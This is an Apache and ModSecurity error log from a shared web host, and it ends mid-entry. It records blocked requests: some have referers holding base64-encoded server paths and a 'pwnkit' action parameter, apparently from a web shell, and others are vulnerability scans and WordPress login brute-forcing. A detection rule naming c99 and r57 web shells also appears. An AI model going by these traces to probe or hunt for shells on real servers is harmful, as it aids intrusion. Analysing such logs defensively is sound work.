[access_compat:error] [pid 531155:tid 531199] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly92YXIvbGliL2luaXRyYW1mcw== [Sat Jun 13 18:06:59.488526 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly92YXIvbGliL2luaXRyYW1mcw== [Sat Jun 13 18:06:59.554149 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:06:59.554583 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:06:59.576345 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.5:60831] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:59.576783 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.5:60831] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:59.598173 2026] [security2:error] [pid 531797:tid 532072] [client 191.234.188.123:12623] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/filemanager.php"] [unique_id "ai3wo8TA7b1mZrmcA-8CRQAAAl4"] [Sat Jun 13 18:06:59.641680 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?action=pwnkit&p=Ly92YXIvbGliL2luaXRyYW1mcw== [Sat Jun 13 18:06:59.642116 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?action=pwnkit&p=Ly92YXIvbGliL2luaXRyYW1mcw== [Sat Jun 13 18:06:59.691749 2026] [security2:error] [pid 531797:tid 531916] [remote 17.241.75.153:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 153.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wo8TA7b1mZrmcA-8CRgACeDQ"] [Sat Jun 13 18:06:59.800781 2026] [security2:error] [pid 531797:tid 531942] [remote 156.67.82.86:38360] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.82.67.156.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magisters-terrace.com"] [uri "/wp-login.php"] [unique_id "ai3wo8TA7b1mZrmcA-8CSAACL04"] [Sat Jun 13 18:06:59.920782 2026] [access_compat:error] [pid 531155:tid 531201] [remote 57.141.14.107:46653] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:59.921058 2026] [access_compat:error] [pid 531155:tid 531201] [remote 57.141.14.107:46653] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:00.079587 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0 [Sat Jun 13 18:07:00.079983 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0 [Sat Jun 13 18:07:00.151415 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo1MQ== [Sat Jun 13 18:07:00.151695 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo1MQ== [Sat Jun 13 18:07:00.265022 2026] [security2:error] [pid 531797:tid 532052] [client 148.113.209.179:33226] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wpMTA7b1mZrmcA-8CUwAAAko"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:00.270958 2026] [security2:error] [pid 531797:tid 532068] [client 20.151.217.54:46219] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/atomlib.php"] [unique_id "ai3wpMTA7b1mZrmcA-8CVQAAAlo"] [Sat Jun 13 18:07:00.378680 2026] [security2:error] [pid 531797:tid 532006] [client 178.20.42.231:52230] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "405"] [hostname "www.clenbuterol4you.com"] [uri "/xmlrpc.php"] [unique_id "ai3wpMTA7b1mZrmcA-8CUgAAAh4"], referer: https://www.clenbuterol4you.com/xmlrpc.php [Sat Jun 13 18:07:00.399835 2026] [security2:error] [pid 531797:tid 531975] [remote 17.22.253.177:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 177.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wpMTA7b1mZrmcA-8CWAACIm4"] [Sat Jun 13 18:07:00.440215 2026] [security2:error] [pid 531797:tid 531985] [remote 17.22.237.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wpMTA7b1mZrmcA-8CWgACW3g"] [Sat Jun 13 18:07:00.477144 2026] [security2:error] [pid 531797:tid 532098] [client 191.233.234.186:33837] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "gy.alvasonline.com"] [uri "/wp-form.php"] [unique_id "ai3wpMTA7b1mZrmcA-8CWwAAAnc"] [Sat Jun 13 18:07:00.504177 2026] [access_compat:error] [pid 531797:tid 531973] [remote 57.141.14.49:35597] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:00.504444 2026] [access_compat:error] [pid 531797:tid 531973] [remote 57.141.14.49:35597] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:00.537402 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:07:00.537758 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:07:00.587803 2026] [security2:error] [pid 531797:tid 531971] [remote 156.67.82.86:38360] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.82.67.156.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magisters-terrace.com"] [uri "/wp-login.php"] [unique_id "ai3wpMTA7b1mZrmcA-8CXwACUGo"], referer: https://magisters-terrace.com/wp-login.php [Sat Jun 13 18:07:00.621242 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:00.621649 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:00.632795 2026] [security2:error] [pid 531155:tid 531285] [client 89.251.0.43:23813] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.0.251.89.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.expertappliance.org"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "ai3wpCmiP80klyS0Nnrh7AAAAQo"] [Sat Jun 13 18:07:00.763579 2026] [security2:error] [pid 531797:tid 532092] [client 148.113.209.179:33230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wpMTA7b1mZrmcA-8CZQAAAnE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:00.835752 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.18:49656] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:00.836057 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.18:49656] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:00.956801 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.54:29703] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:00.957264 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.54:29703] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:00.967339 2026] [security2:error] [pid 531797:tid 532012] [client 191.234.188.123:34547] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/444.php"] [unique_id "ai3wpMTA7b1mZrmcA-8CdAAAAiQ"] [Sat Jun 13 18:07:01.034397 2026] [security2:error] [pid 531797:tid 532125] [client 191.234.188.123:63864] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/aq.php"] [unique_id "ai3wpcTA7b1mZrmcA-8CdwAAApA"] [Sat Jun 13 18:07:01.125311 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:07:01.125583 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:07:01.153965 2026] [security2:error] [pid 531155:tid 531389] [client 51.68.111.219:34135] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "resourcefulplanner.co.uk"] [uri "/robots.txt"] [unique_id "ai3wpSmiP80klyS0NnriDQAAAXI"] [Sat Jun 13 18:07:01.154092 2026] [security2:error] [pid 531155:tid 531389] [client 51.68.111.219:34135] ModSecurity: Warning. Matched phrase "MJ12bot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "resourcefulplanner.co.uk"] [uri "/robots.txt"] [unique_id "ai3wpSmiP80klyS0NnriDQAAAXI"] [Sat Jun 13 18:07:01.192038 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:01.192491 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:01.330624 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.27:27766] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:01.331080 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.27:27766] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:01.380965 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.92:39162] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:01.381261 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.92:39162] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:01.469470 2026] [security2:error] [pid 531797:tid 532081] [client 89.251.0.75:60993] ModSecurity: Access denied with connection close (phase 1). Pattern match "c99\\\\.php|r57shell\\\\.php|r57\\\\.php|c99\\\\.txt" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1164"] [id "900010"] [rev "1"] [msg "c99 variant "] [severity "CRITICAL"] [hostname "mail.expertappliance.org"] [uri "/images/c99.php"] [unique_id "ai3wpcTA7b1mZrmcA-8CgAAAAmc"] [Sat Jun 13 18:07:01.554723 2026] [security2:error] [pid 531797:tid 532002] [client 145.239.10.137:45455] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.10.239.145.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mngroup.com.au"] [uri "/000.php"] [unique_id "ai3wpcTA7b1mZrmcA-8CgwAAAho"], referer: http://mngroup.com.au/000.php [Sat Jun 13 18:07:01.651337 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:07:01.651824 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:07:01.720888 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:01.721153 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:01.810320 2026] [access_compat:error] [pid 531797:tid 531933] [remote 57.141.14.108:58977] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:01.810627 2026] [access_compat:error] [pid 531797:tid 531933] [remote 57.141.14.108:58977] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:02.182787 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:02.183060 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:02.256912 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 